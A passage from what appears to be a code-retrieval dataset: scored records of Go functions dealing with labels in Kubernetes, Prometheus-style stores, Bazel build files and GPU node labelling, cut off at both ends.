map[string]string{}\n\t\t}\n\t\tfor key, val := range service.Spec.Selector {\n\t\t\tupdatePod.Labels[key] = val\n\t\t}\n\t\tif reflect.DeepEqual(pod.Labels, updatePod.Labels) {\n\t\t\t// labels already configured properly\n\t\t\tcontinue\n\t\t}\n\t\trequeue = true\n\n\t\terr = kclient.Update(context.TODO(), updatePod)\n\t\tif err != nil {\n\t\t\terrs = append(errs, err)\n\t\t}\n\t}\n\n\treturn requeue, reconcile.Result{Requeue: requeue}, utilerrors.NewAggregate(errs)\n}", "title": "" }, { "docid": "a04e4243a0fbcae9b69dbcd483e299d5", "score": "0.46768665", "text": "func (s *ProxyStore) LabelNames(ctx context.Context, r *storepb.LabelNamesRequest) (\n\t*storepb.LabelNamesResponse, error,\n) {\n\tvar (\n\t\twarnings []string\n\t\tnames [][]string\n\t\tmtx sync.Mutex\n\t\tg, gctx = errgroup.WithContext(ctx)\n\t\tstoreDebugMsgs []string\n\t)\n\n\tfor _, st := range s.stores() {\n\t\tst := st\n\n\t\t// We might be able to skip the store if its meta information indicates it cannot have series matching our query.\n\t\tif ok, reason := storeMatches(gctx, st, r.Start, r.End); !ok {\n\t\t\tstoreDebugMsgs = append(storeDebugMsgs, fmt.Sprintf(\"Store %s filtered out due to %v\", st, reason))\n\t\t\tcontinue\n\t\t}\n\t\tstoreDebugMsgs = append(storeDebugMsgs, fmt.Sprintf(\"Store %s queried\", st))\n\n\t\tg.Go(func() error {\n\t\t\tresp, err := st.LabelNames(gctx, &storepb.LabelNamesRequest{\n\t\t\t\tPartialResponseDisabled: r.PartialResponseDisabled,\n\t\t\t\tStart: r.Start,\n\t\t\t\tEnd: r.End,\n\t\t\t\tMatchers: r.Matchers,\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\terr = errors.Wrapf(err, \"fetch label names from store %s\", st)\n\t\t\t\tif r.PartialResponseDisabled {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tmtx.Lock()\n\t\t\t\twarnings = append(warnings, err.Error())\n\t\t\t\tmtx.Unlock()\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tmtx.Lock()\n\t\t\twarnings = append(warnings, resp.Warnings...)\n\t\t\tnames = append(names, resp.Names)\n\t\t\tmtx.Unlock()\n\n\t\t\treturn nil\n\t\t})\n\t}\n\n\tif err := g.Wait(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tlevel.Debug(s.logger).Log(\"msg\", strings.Join(storeDebugMsgs, \";\"))\n\treturn &storepb.LabelNamesResponse{\n\t\tNames: strutil.MergeUnsortedSlices(names...),\n\t\tWarnings: warnings,\n\t}, nil\n}", "title": "" }, { "docid": "28d3f8651be145ac6b94311703c6d389", "score": "0.46693522", "text": "func (e *exemplarSampler) trackNewLabels(seriesLabels, labels map[string]string) {\n\tfor k := range labels {\n\t\tif _, ok := e.labelSet[k]; !ok {\n\t\t\te.labelSet[k] = struct{}{}\n\t\t}\n\t}\n\tfor k := range seriesLabels {\n\t\tif _, ok := e.labelSet[k]; !ok {\n\t\t\te.labelSet[k] = struct{}{}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "b35cf1a1f9f4de7d5750b60d3ec214c8", "score": "0.466756", "text": "func (b *Bot) labels(ctx context.Context, files []github.PullRequestFile) ([]string, error) {\n\tvar labels []string\n\n\t// The branch name is unsafe, but here we are simply adding a label.\n\tif isReleaseBranch(b.c.Environment.UnsafeBase) {\n\t\tlog.Println(\"Label: Found backport branch.\")\n\t\tlabels = append(labels, \"backport\")\n\t}\n\n\tfor _, file := range files {\n\t\tif strings.HasPrefix(file.Name, \"vendor/\") {\n\t\t\tcontinue\n\t\t}\n\n\t\tfor k, v := range prefixes {\n\t\t\tif strings.HasPrefix(file.Name, k) {\n\t\t\t\tlog.Printf(\"Label: Found prefix %v, attaching labels: %v.\", k, v)\n\t\t\t\tlabels = append(labels, v...)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn deduplicate(labels), nil\n}", "title": "" }, { "docid": "dd78f9e1adf11e4886898a24f889aafe", "score": "0.4660985", "text": "func (c *Cluster) UpdateStoreAddr(storeID uint64, addr string, labels ...*metapb.StoreLabel) {\n\tc.Lock()\n\tdefer c.Unlock()\n\tc.stores[storeID] = newStore(storeID, addr, addr, labels...)\n}", "title": "" }, { "docid": "d4ac1f5ddba35d6c4d2ae1fdd150acd1", "score": "0.46591297", "text": "func Labels(dst *map[string]string, src map[string]string) {\n\tStringMap(dst, src)\n}", "title": "" }, { "docid": "271030c5d838c787b9f1bddd08f85096", "score": "0.464786", "text": "func (d *Data) storeLabelElements(ctx *datastore.VersionedCtx, batch storage.Batch, be blockElements) error {\n\tlabelData := d.GetSyncedLabelblk()\n\tif labelData == nil {\n\t\tdvid.Infof(\"No synced labels for annotation %q, skipping label-aware denormalization.\\n\", d.DataName())\n\t\treturn nil // no synced labels\n\t}\n\n\t// Compute the strides (in bytes)\n\tblockSize := d.blockSize()\n\tbX := blockSize[0] * 8\n\tbY := blockSize[1] * bX\n\tblockBytes := int(blockSize[0] * blockSize[1] * blockSize[2] * 8)\n\n\ttoAdd := LabelElements{}\n\tfor izyxStr, elems := range be {\n\t\tblockCoord, err := izyxStr.ToChunkPoint3d()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Get the labels for this block\n\t\tlabels, err := labelData.GetLabelBlock(ctx.VersionID(), blockCoord)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif len(labels) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tif len(labels) != blockBytes {\n\t\t\treturn fmt.Errorf(\"Expected %d bytes in %q label block, got %d instead. Aborting.\", blockBytes, d.DataName(), len(labels))\n\t\t}\n\n\t\t// Group annotations by label\n\t\tfor _, elem := range elems {\n\t\t\tpt := elem.Pos.Point3dInChunk(blockSize)\n\t\t\ti := pt[2]*bY + pt[1]*bX + pt[0]*8\n\t\t\tlabel := binary.LittleEndian.Uint64(labels[i : i+8])\n\t\t\tif label != 0 {\n\t\t\t\ttoAdd.add(label, elem.ElementNR)\n\t\t\t}\n\t\t}\n\t}\n\n\t// Store all the added annotations to the appropriate labels.\n\tvar delta DeltaModifyElements\n\tfor label, additions := range toAdd {\n\t\ttk := NewLabelTKey(label)\n\t\telems, err := getElementsNR(ctx, tk)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"err getting elements for label %d: %v\\n\", label, err)\n\t\t}\n\n\t\t// Check if these annotations already exist.\n\t\temap := make(map[string]int)\n\t\tfor i, elem := range elems {\n\t\t\temap[elem.Pos.MapKey()] = i\n\t\t}\n\t\tfor _, elem := range additions {\n\t\t\ti, found := emap[elem.Pos.MapKey()]\n\t\t\tif !found {\n\t\t\t\telems = append(elems, elem)\n\t\t\t\tdelta.Add = append(delta.Add, ElementPos{Label: label, Kind: elem.Kind, Pos: elem.Pos})\n\t\t\t} else {\n\t\t\t\telems[i] = elem // replace properties if same position\n\t\t\t}\n\t\t}\n\t\tif err := putBatchElements(batch, tk, elems); err != nil {\n\t\t\treturn fmt.Errorf(\"couldn't serialize label %d annotations in instance %q: %v\\n\", label, d.DataName(), err)\n\t\t}\n\t}\n\n\t// Notify any subscribers of label annotation changes.\n\tevt := datastore.SyncEvent{Data: d.DataUUID(), Event: ModifyElementsEvent}\n\tmsg := datastore.SyncMessage{Event: ModifyElementsEvent, Version: ctx.VersionID(), Delta: delta}\n\tif err := datastore.NotifySubscribers(evt, msg); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "d7d45a48aef024b401a0bfe095321ed4", "score": "0.4640723", "text": "func (l *Labels) Set(name string, ofs int64) {\n\tl.init()\n\tif o, ok := l.lmap[name]; ok {\n\t\tif o != ofs {\n\t\t\t// modifying an existing assignment, just re-generate the derived fields\n\t\t\tl.lmap[name] = ofs\n\t\t\tl.Reset(l.lmap)\n\t\t}\n\t} else {\n\t\t// new assignment\n\t\tl.lmap[name] = ofs\n\t\tif _, ok := l.offLabels[ofs]; !ok {\n\t\t\tl.offsets = append(l.offsets, ofs)\n\t\t\tl.sortOffsets()\n\t\t}\n\t\tl.offLabels[ofs] = append(l.offLabels[ofs], name)\n\t\tsort.Strings(l.offLabels[ofs])\n\t}\n}", "title": "" }, { "docid": "7e361fadfcec0c0204b4f41c85773289", "score": "0.46406266", "text": "func addTagsToLabels(tags map[string]string, labelNamePrefix string, labels map[string]string) {\n\tfor k, v := range tags {\n\t\tlabels[labelNamePrefix+\"_\"+sanitizeLabelName(k)] = v\n\t}\n}", "title": "" }, { "docid": "dbecb32f94e1721ce323cba97fdacd84", "score": "0.4632376", "text": "func (syn *kubeSyncer) updateTracker(updates []api.Update) {\n\tfor _, upd := range updates {\n\t\tif upd.UpdateType == api.UpdateTypeKVDeleted {\n\t\t\tlog.Debugf(\"Delete from tracker: %+v\", upd.KVPair.Key)\n\t\t\tdelete(syn.tracker, upd.KVPair.Key.String())\n\t\t\tswitch key := upd.KVPair.Key.(type) {\n\t\t\tcase model.WorkloadEndpointKey:\n\t\t\t\tdelete(syn.labelCache, key.WorkloadID)\n\t\t\t}\n\t\t} else {\n\t\t\tlog.Debugf(\"Update tracker: %+v: %+v\", upd.KVPair.Key, upd.KVPair.Revision)\n\t\t\tsyn.tracker[upd.KVPair.Key.String()] = upd.KVPair.Key\n\t\t\tswitch key := upd.KVPair.Key.(type) {\n\t\t\tcase model.WorkloadEndpointKey:\n\t\t\t\tsyn.labelCache[key.WorkloadID] = upd.KVPair.Value.(*model.WorkloadEndpoint).Labels\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "fc2e3184e46b19f4180ddf76901af653", "score": "0.46251956", "text": "func (lc *LabelCreator) Populate(ctx context.Context, db *ent.Tx, input []string) (err error) {\n\tvar item *ent.Label\n\tvar ok bool\n\n\tfor _, l := range lc.Filter(input) {\n\t\tif _, ok = lc.cache[l]; ok {\n\t\t\tcontinue\n\t\t}\n\n\t\titem, err = db.Label.Query().Where(label.NameEqualFold(l)).First(ctx)\n\t\tif err != nil && !ent.IsNotFound(err) {\n\t\t\treturn fmt.Errorf(\"failed to query label: %q; %w\", l, err)\n\t\t}\n\n\t\tif item != nil {\n\t\t\tlc.cache[l] = item\n\t\t\tcontinue\n\t\t}\n\n\t\titem, err = db.Label.Create().SetName(l).Save(ctx)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to create label: %q; %w\", l, err)\n\t\t}\n\n\t\tlc.cache[l] = item\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "c5d630af8ca68de68a419618e1fcb995", "score": "0.46133047", "text": "func (l *labeler) Labels(otherLabels map[string]string) map[string]string {\n\tlabels := map[string]string{\n\t\tdockerLabelPrefix + \".job.id\": strconv.FormatInt(l.build.ID, 10),\n\t\tdockerLabelPrefix + \".job.url\": l.build.JobURL(),\n\t\tdockerLabelPrefix + \".job.sha\": l.build.GitInfo.Sha,\n\t\tdockerLabelPrefix + \".job.before_sha\": l.build.GitInfo.BeforeSha,\n\t\tdockerLabelPrefix + \".job.ref\": l.build.GitInfo.Ref,\n\t\tdockerLabelPrefix + \".project.id\": strconv.FormatInt(l.build.JobInfo.ProjectID, 10),\n\t\tdockerLabelPrefix + \".pipeline.id\": l.build.GetAllVariables().Value(\"CI_PIPELINE_ID\"),\n\t\tdockerLabelPrefix + \".runner.id\": l.build.Runner.ShortDescription(),\n\t\tdockerLabelPrefix + \".runner.local_id\": strconv.Itoa(l.build.RunnerID),\n\t\tdockerLabelPrefix + \".managed\": \"true\",\n\t}\n\n\tfor k, v := range otherLabels {\n\t\tlabels[fmt.Sprintf(\"%s.%s\", dockerLabelPrefix, k)] = v\n\t}\n\n\treturn labels\n}", "title": "" }, { "docid": "573902cc4bee5fab5d3b88192a4d5435", "score": "0.46061555", "text": "func (m *Group) SetAssignedLabels(value []AssignedLabelable)() {\n m.assignedLabels = value\n}", "title": "" }, { "docid": "df6b3524ca32efa7e67c4df65bf11334", "score": "0.45959774", "text": "func (o AiFeatureStoreEntityTypeFeatureOutput) Labels() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v *AiFeatureStoreEntityTypeFeature) pulumi.StringMapOutput { return v.Labels }).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "56a9ace8bc310f989276ced5ff15aad0", "score": "0.45833838", "text": "func fixLabels(f *File, w *Rewriter) {\n\tjoinLabel := func(p *Expr) {\n\t\tadd, ok := (*p).(*BinaryExpr)\n\t\tif !ok || add.Op != \"+\" {\n\t\t\treturn\n\t\t}\n\t\tstr1, ok := add.X.(*StringExpr)\n\t\tif !ok || !strings.HasPrefix(str1.Value, \"//\") || strings.Contains(str1.Value, \" \") {\n\t\t\treturn\n\t\t}\n\t\tstr2, ok := add.Y.(*StringExpr)\n\t\tif !ok || strings.Contains(str2.Value, \" \") {\n\t\t\treturn\n\t\t}\n\t\tstr1.Value += str2.Value\n\n\t\t// Deleting nodes add and str2.\n\t\t// Merge comments from add, str1, and str2 and save in str1.\n\t\tcom1 := add.Comment()\n\t\tcom2 := str1.Comment()\n\t\tcom3 := str2.Comment()\n\t\tcom1.Before = append(com1.Before, com2.Before...)\n\t\tcom1.Before = append(com1.Before, com3.Before...)\n\t\tcom1.Suffix = append(com1.Suffix, com2.Suffix...)\n\t\tcom1.Suffix = append(com1.Suffix, com3.Suffix...)\n\t\t*str1.Comment() = *com1\n\n\t\t*p = str1\n\t}\n\n\tlabelPrefix := \"//\"\n\tif w.StripLabelLeadingSlashes {\n\t\tlabelPrefix = \"\"\n\t}\n\t// labelRE matches label strings, e.g. @r//x/y/z:abc\n\t// where $1 is @r//x/y/z, $2 is @r//, $3 is r, $4 is z, $5 is abc.\n\tlabelRE := regexp.MustCompile(`^(((?:@(\\w+))?//|` + labelPrefix + `)(?:.+/)?([^:]*))(?::([^:]+))?$`)\n\n\tshortenLabel := func(v Expr) {\n\t\tstr, ok := v.(*StringExpr)\n\t\tif !ok {\n\t\t\treturn\n\t\t}\n\n\t\tif w.StripLabelLeadingSlashes && strings.HasPrefix(str.Value, \"//\") {\n\t\t\tif filepath.Dir(f.Path) == \".\" || !strings.HasPrefix(str.Value, \"//:\") {\n\t\t\t\tstr.Value = str.Value[2:]\n\t\t\t}\n\t\t}\n\t\tif w.ShortenAbsoluteLabelsToRelative {\n\t\t\tthisPackage := labelPrefix + filepath.Dir(f.Path)\n\t\t\t// filepath.Dir on Windows uses backslashes as separators, while labels always have slashes.\n\t\t\tif filepath.Separator != '/' {\n\t\t\t\tthisPackage = strings.Replace(thisPackage, string(filepath.Separator), \"/\", -1)\n\t\t\t}\n\n\t\t\tif str.Value == thisPackage {\n\t\t\t\tstr.Value = \":\" + path.Base(str.Value)\n\t\t\t} else if strings.HasPrefix(str.Value, thisPackage+\":\") {\n\t\t\t\tstr.Value = str.Value[len(thisPackage):]\n\t\t\t}\n\t\t}\n\n\t\tm := labelRE.FindStringSubmatch(str.Value)\n\t\tif m == nil {\n\t\t\treturn\n\t\t}\n\t\tif m[4] != \"\" && m[4] == m[5] { // e.g. //foo:foo\n\t\t\tstr.Value = m[1]\n\t\t} else if m[3] != \"\" && m[4] == \"\" && m[3] == m[5] { // e.g. @foo//:foo\n\t\t\tstr.Value = \"@\" + m[3]\n\t\t}\n\t}\n\n\t// Join and shorten labels within a container of labels (which can be a single\n\t// label, e.g. a single string expression or a concatenation of them).\n\t// Gracefully finish if the argument is of a different type.\n\tfixLabelsWithinAContainer := func(e *Expr) {\n\t\tif list, ok := (*e).(*ListExpr); ok {\n\t\t\tfor i := range list.List {\n\t\t\t\tif leaveAlone1(list.List[i]) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tjoinLabel(&list.List[i])\n\t\t\t\tshortenLabel(list.List[i])\n\t\t\t}\n\t\t}\n\t\tif set, ok := (*e).(*SetExpr); ok {\n\t\t\tfor i := range set.List {\n\t\t\t\tif leaveAlone1(set.List[i]) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tjoinLabel(&set.List[i])\n\t\t\t\tshortenLabel(set.List[i])\n\t\t\t}\n\t\t} else {\n\t\t\tjoinLabel(e)\n\t\t\tshortenLabel(*e)\n\t\t}\n\t}\n\n\tWalk(f, func(v Expr, stk []Expr) {\n\t\tswitch v := v.(type) {\n\t\tcase *CallExpr:\n\t\t\tif leaveAlone(stk, v) {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfor i := range v.List {\n\t\t\t\tif leaveAlone1(v.List[i]) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tas, ok := v.List[i].(*AssignExpr)\n\t\t\t\tif !ok {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tkey, ok := as.LHS.(*Ident)\n\t\t\t\tif !ok || !w.IsLabelArg[key.Name] || w.LabelDenyList[callName(v)+\".\"+key.Name] {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif leaveAlone1(as.RHS) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tfindAndModifyStrings(&as.RHS, fixLabelsWithinAContainer)\n\t\t\t}\n\t\t}\n\t})\n}", "title": "" }, { "docid": "891e553ab4dbdc8db3b3310f317a9e24", "score": "0.4582104", "text": "func (suite *PouchDaemonSuite) TestUpdateDaemonWithLabels(c *check.C) {\n\tdcfg, err := StartDefaultDaemon(nil)\n\n\tc.Assert(err, check.IsNil)\n\tdefer dcfg.KillDaemon()\n\n\tRunWithSpecifiedDaemon(dcfg, \"updatedaemon\", \"--label\", \"aaa=bbb\").Assert(c, icmd.Success)\n\n\tret := RunWithSpecifiedDaemon(dcfg, \"info\")\n\tret.Assert(c, icmd.Success)\n\n\tupdated := strings.Contains(ret.Stdout(), \"aaa=bbb\")\n\tc.Assert(updated, check.Equals, true)\n}", "title": "" }, { "docid": "0104b1377ff80ec09107ed986a933c50", "score": "0.45665535", "text": "func (resolution *PolicyResolution) RecordLabels(cik *ComponentInstanceKey, labels *lang.LabelSet) {\n\tresolution.GetComponentInstanceEntry(cik).addLabels(labels)\n}", "title": "" }, { "docid": "4bde1e1bc2cd9a5ce57c400cc74f7bb7", "score": "0.45597133", "text": "func (d *Data) updateMaxLabel(v dvid.VersionID, label uint64) (changed bool, err error) {\n\td.mlMu.RLock()\n\tcurMax, found := d.MaxLabel[v]\n\tif !found || curMax < label {\n\t\tchanged = true\n\t}\n\td.mlMu.RUnlock()\n\tif !changed {\n\t\treturn\n\t}\n\n\td.mlMu.Lock()\n\tdefer d.mlMu.Unlock()\n\n\td.MaxLabel[v] = label\n\tif err = d.persistMaxLabel(v); err != nil {\n\t\terr = fmt.Errorf(\"updateMaxLabel of data %q: %v\", d.DataName(), err)\n\t\treturn\n\t}\n\tif label > d.MaxRepoLabel {\n\t\td.MaxRepoLabel = label\n\t\tif err = d.persistMaxRepoLabel(); err != nil {\n\t\t\terr = fmt.Errorf(\"updateMaxLabel of data %q: %v\", d.DataName(), err)\n\t\t\treturn\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "3695ceff53fe1d45185f1fd135862f73", "score": "0.45518225", "text": "func (l UpdateLabels) Labels() []string {\n\treturn []string{\"type\", prom.LabelResult}\n}", "title": "" }, { "docid": "139e2c6a704c7439edfb4354e06d860a", "score": "0.45395505", "text": "func makeCommonLabels(vdb *vapi.VerticaDB, sc *vapi.Subcluster) map[string]string {\n\tlabels := makeOperatorLabels(vdb)\n\n\t// Remaining labels are for objects that are subcluster specific\n\tif sc == nil {\n\t\treturn labels\n\t}\n\n\tfor k, v := range makeSubclusterLabels(sc) {\n\t\tlabels[k] = v\n\t}\n\n\treturn labels\n}", "title": "" }, { "docid": "0cc4d78ffce8adcb64d8018d9690facf", "score": "0.45369706", "text": "func (m *mergeQuerier) LabelNames() ([]string, storage.Warnings, error) {\n\tlabelNames, warnings, err := m.mergeDistinctStringSlice(func(ctx context.Context, q storage.Querier) ([]string, storage.Warnings, error) {\n\t\treturn q.LabelNames()\n\t})\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t// check if the tenant label exists in the original result\n\tvar tenantLabelExists bool\n\tlabelPos := sort.SearchStrings(labelNames, defaultTenantLabel)\n\tif labelPos < len(labelNames) && labelNames[labelPos] == defaultTenantLabel {\n\t\ttenantLabelExists = true\n\t}\n\n\tlabelToAdd := defaultTenantLabel\n\n\t// if defaultTenantLabel already exists, we need to add the\n\t// originalDefaultTenantLabel\n\tif tenantLabelExists {\n\t\tlabelToAdd = originalDefaultTenantLabel\n\t\tlabelPos = sort.SearchStrings(labelNames, labelToAdd)\n\t}\n\n\t// insert label at the correct position\n\tlabelNames = append(labelNames, \"\")\n\tcopy(labelNames[labelPos+1:], labelNames[labelPos:])\n\tlabelNames[labelPos] = labelToAdd\n\n\treturn labelNames, warnings, nil\n}", "title": "" }, { "docid": "8811e88f012136113e1b2c4f81af5eee", "score": "0.45342663", "text": "func DropTargetLabels(series, target labels.Labels) labels.Labels {\n\trepl := series[:0]\n\tfor _, l := range series {\n\t\tif target.Get(l.Name) != l.Value {\n\t\t\trepl = append(repl, l)\n\t\t}\n\t}\n\treturn repl\n}", "title": "" }, { "docid": "189b63f27c901f5907125fd137ff8baf", "score": "0.45290473", "text": "func (state *BuildState) ExpandOriginalLabels() BuildLabels {\n\tstate.progress.originalTargetMutex.Lock()\n\ttargets := state.progress.originalTargets[:]\n\tstate.progress.originalTargetMutex.Unlock()\n\treturn state.ExpandLabels(targets)\n}", "title": "" }, { "docid": "ff7b6518ef436749e013e3de953e92af", "score": "0.45052207", "text": "func AddLabels(cfg config.Config, vmPool *vmpool.VMPool) string {\n\tvar (\n\t\tlines strings.Builder\n\t\tregexpLabels = []*regexpLabel{}\n\t)\n\n\tif len(cfg.VMNameRegexpLabels) > 0 {\n\t\tregexpLabels = compileRegexpLabels(cfg.VMNameRegexpLabels)\n\t}\n\n\tfor _, vm := range vmPool.VMs {\n\t\tvar b strings.Builder\n\t\tfmt.Fprintf(&b, `%s_vms{name=%q,id=\"%d\",state=%q,lcm_state=%q,host=%q`,\n\t\t\tcfg.Exporter.Namespace, vm.Name, vm.ID, vm.State, vm.LCMState, vm.Node)\n\n\t\t// even if regexpLabels is empty, check length to avoid func call\n\t\tif len(cfg.VMNameRegexpLabels) > 0 {\n\t\t\tb.WriteString(AddVMNameRegexpLabels(vm, regexpLabels))\n\t\t}\n\n\t\tif len(cfg.UserTemplateLabels) > 0 {\n\t\t\tb.WriteString(AddUserTemplateLabels(vm, cfg.UserTemplateLabels))\n\t\t}\n\n\t\tb.WriteString(\"} 1\\n\")\n\t\tlines.WriteString(b.String())\n\t}\n\n\treturn lines.String()\n}", "title": "" }, { "docid": "58810a2918de75a200cbb9de51b705e6", "score": "0.45048788", "text": "func (suite *LabelManagerTestSuite) TestLabelManagerHasLabelMultipleLabels() {\n\tlabelManager := NewLabelManager(&LabelManagerConfig{\n\t\tEntries: []*LabelManagerConfigEntry{\n\t\t\t{Procedures: []string{\"testService:Procedure1\"}, Labels: []string{\"label1\", \"label2\"}},\n\t\t\t{Procedures: []string{\"testService:Procedure1\"}, Labels: []string{\"label3\"}},\n\t\t},\n\t})\n\n\tsuite.True(labelManager.HasLabel(\"testService::Procedure1\", \"label1\"))\n\tsuite.True(labelManager.HasLabel(\"testService::Procedure1\", \"label2\"))\n\tsuite.True(labelManager.HasLabel(\"testService::Procedure1\", \"label3\"))\n\n\tsuite.False(labelManager.HasLabel(\"testService::Procedure1\", \"label4\"))\n}", "title": "" }, { "docid": "239a7d7779f03217c2c4b205ec5065cb", "score": "0.45002976", "text": "func AppendNamespaceLabel(namespace string, labels map[string]string) map[string]string {\n\tfinal := labels\n\n\tif final == nil {\n\t\tfinal = make(map[string]string)\n\t}\n\n\tif final[NamespaceLabelKey] == \"\" {\n\t\tfinal[NamespaceLabelKey] = namespace\n\t}\n\n\treturn final\n}", "title": "" }, { "docid": "ac14cdd4164104f4b2b8c7d2cebd49a6", "score": "0.44986716", "text": "func (lv LabelValues) Merge(additionalLV LabelValues) {\n\tfor label, origin := range additionalLV {\n\t\tif origin == nil {\n\t\t\tcontinue\n\t\t}\n\t\tcopy := make(map[string]uint32)\n\t\tfor value, count := range origin {\n\t\t\tcopy[value] = count\n\t\t}\n\t\tif _, ok := lv[label]; !ok {\n\t\t\tlv[label] = copy\n\t\t\tcontinue\n\t\t}\n\t\tfor v, c := range copy {\n\t\t\tif current, ok := lv[label][v]; !ok {\n\t\t\t\tlv[label][v] = c\n\t\t\t} else {\n\t\t\t\tlv[label][v] = current + c\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "89a7875aaace1645a50ef1203168e24b", "score": "0.44979972", "text": "func TestChangePodLabels(t *testing.T) {\n\tcluster := NewClusterState()\n\tvpa := addTestVpa(cluster)\n\tpod := addTestPod(cluster)\n\t// Update Pod labels to no longer match the VPA.\n\tcluster.AddOrUpdatePod(testPodID, emptyLabels)\n\tassert.Empty(t, vpa.Pods)\n\tassert.Nil(t, pod.Vpa)\n}", "title": "" }, { "docid": "7f50d24d62b2b0c18631ffe90455d95a", "score": "0.44950104", "text": "func (p *plugin) Label(instance instance.ID, labels map[string]string) error {\n\treturn fmt.Errorf(\"VMware vSphere VM label updates are not implemented yet\")\n}", "title": "" }, { "docid": "77435f74ed95166e42a4dcbbf367c123", "score": "0.4486658", "text": "func (u UpdateLabels) Reconcile(r *FoundationDBClusterReconciler, context ctx.Context, cluster *fdbtypes.FoundationDBCluster) (bool, error) {\n\tinstances, err := r.PodLifecycleManager.GetInstances(r, cluster, context, getPodListOptions(cluster, \"\", \"\")...)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tfor _, instance := range instances {\n\t\tif instance.Pod != nil {\n\t\t\tprocessClass := instance.GetProcessClass()\n\t\t\tinstanceID := instance.GetInstanceID()\n\n\t\t\tmetadata := getPodMetadata(cluster, processClass, instanceID, \"\")\n\t\t\tif metadata.Annotations == nil {\n\t\t\t\tmetadata.Annotations = make(map[string]string)\n\t\t\t}\n\t\t\tmetadata.Annotations[LastSpecKey] = instance.Metadata.Annotations[LastSpecKey]\n\t\t\tmetadataCorrect := true\n\n\t\t\tif !reflect.DeepEqual(instance.Metadata.Labels, metadata.Labels) {\n\t\t\t\tinstance.Metadata.Labels = metadata.Labels\n\t\t\t\tmetadataCorrect = false\n\t\t\t}\n\n\t\t\tif mergeAnnotations(instance.Metadata, metadata) {\n\t\t\t\tmetadataCorrect = false\n\t\t\t}\n\n\t\t\tif !metadataCorrect {\n\t\t\t\terr = r.PodLifecycleManager.UpdateMetadata(r, context, cluster, instance)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn false, err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tpvcs := &corev1.PersistentVolumeClaimList{}\n\terr = r.List(context, pvcs, getPodListOptions(cluster, \"\", \"\")...)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tfor _, pvc := range pvcs.Items {\n\t\tprocessClass := GetProcessClassFromMeta(pvc.ObjectMeta)\n\t\tinstanceID := GetInstanceIDFromMeta(pvc.ObjectMeta)\n\n\t\tmetadata := getPvcMetadata(cluster, processClass, instanceID)\n\t\tif metadata.Annotations == nil {\n\t\t\tmetadata.Annotations = make(map[string]string, 1)\n\t\t}\n\t\tmetadata.Annotations[LastSpecKey] = pvc.ObjectMeta.Annotations[LastSpecKey]\n\n\t\tmetadataCorrect := true\n\t\tif !reflect.DeepEqual(pvc.ObjectMeta.Labels, metadata.Labels) {\n\t\t\tpvc.Labels = metadata.Labels\n\t\t\tmetadataCorrect = false\n\t\t}\n\n\t\tif mergeAnnotations(&pvc.ObjectMeta, metadata) {\n\t\t\tmetadataCorrect = false\n\t\t}\n\n\t\tif !metadataCorrect {\n\t\t\terr = r.Update(context, &pvc)\n\t\t\tif err != nil {\n\t\t\t\treturn false, err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn true, nil\n}", "title": "" }, { "docid": "b80f306b5c8bcde757b3c48fcf051e38", "score": "0.44805858", "text": "func (n *ClusterPolicyController) labelGPUNodes() error {\n\t// fetch all nodes\n\topts := []client.ListOption{}\n\tlist := &corev1.NodeList{}\n\terr := n.rec.client.List(context.TODO(), list, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Unable to list nodes to check labels, err %s\", err.Error())\n\t}\n\n\tfor _, node := range list.Items {\n\t\t// get node labels\n\t\tlabels := node.GetLabels()\n\t\tif !hasCommonGPULabel(labels) && hasGPULabels(labels) {\n\t\t\t// label node with common Nvidia GPU label\n\t\t\tlabels[commonGPULabelKey] = commonGPULabelValue\n\t\t\tnode.SetLabels(labels)\n\t\t\terr = n.rec.client.Update(context.TODO(), &node)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"Unable to label node %s with nvidia.com/gpu.present=true, err %s\", node.ObjectMeta.Name, err.Error())\n\t\t\t}\n\t\t} else if hasCommonGPULabel(labels) && !hasGPULabels(labels) {\n\t\t\t// previously labelled node and no longer has GPU's\n\t\t\t// label node to reset common Nvidia GPU label\n\t\t\tlabels[commonGPULabelKey] = \"false\"\n\t\t\tnode.SetLabels(labels)\n\t\t\terr = n.rec.client.Update(context.TODO(), &node)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"Unable to reset node label for %s with nvidia.com/gpu.present=false, err %s\", node.ObjectMeta.Name, err.Error())\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5ac898f56cd402a355c571ddf59264bf", "score": "0.44714153", "text": "func ClearLabels(issue *models.Issue, doer *models.User) (err error) {\n\tif err = issue.ClearLabels(doer); err != nil 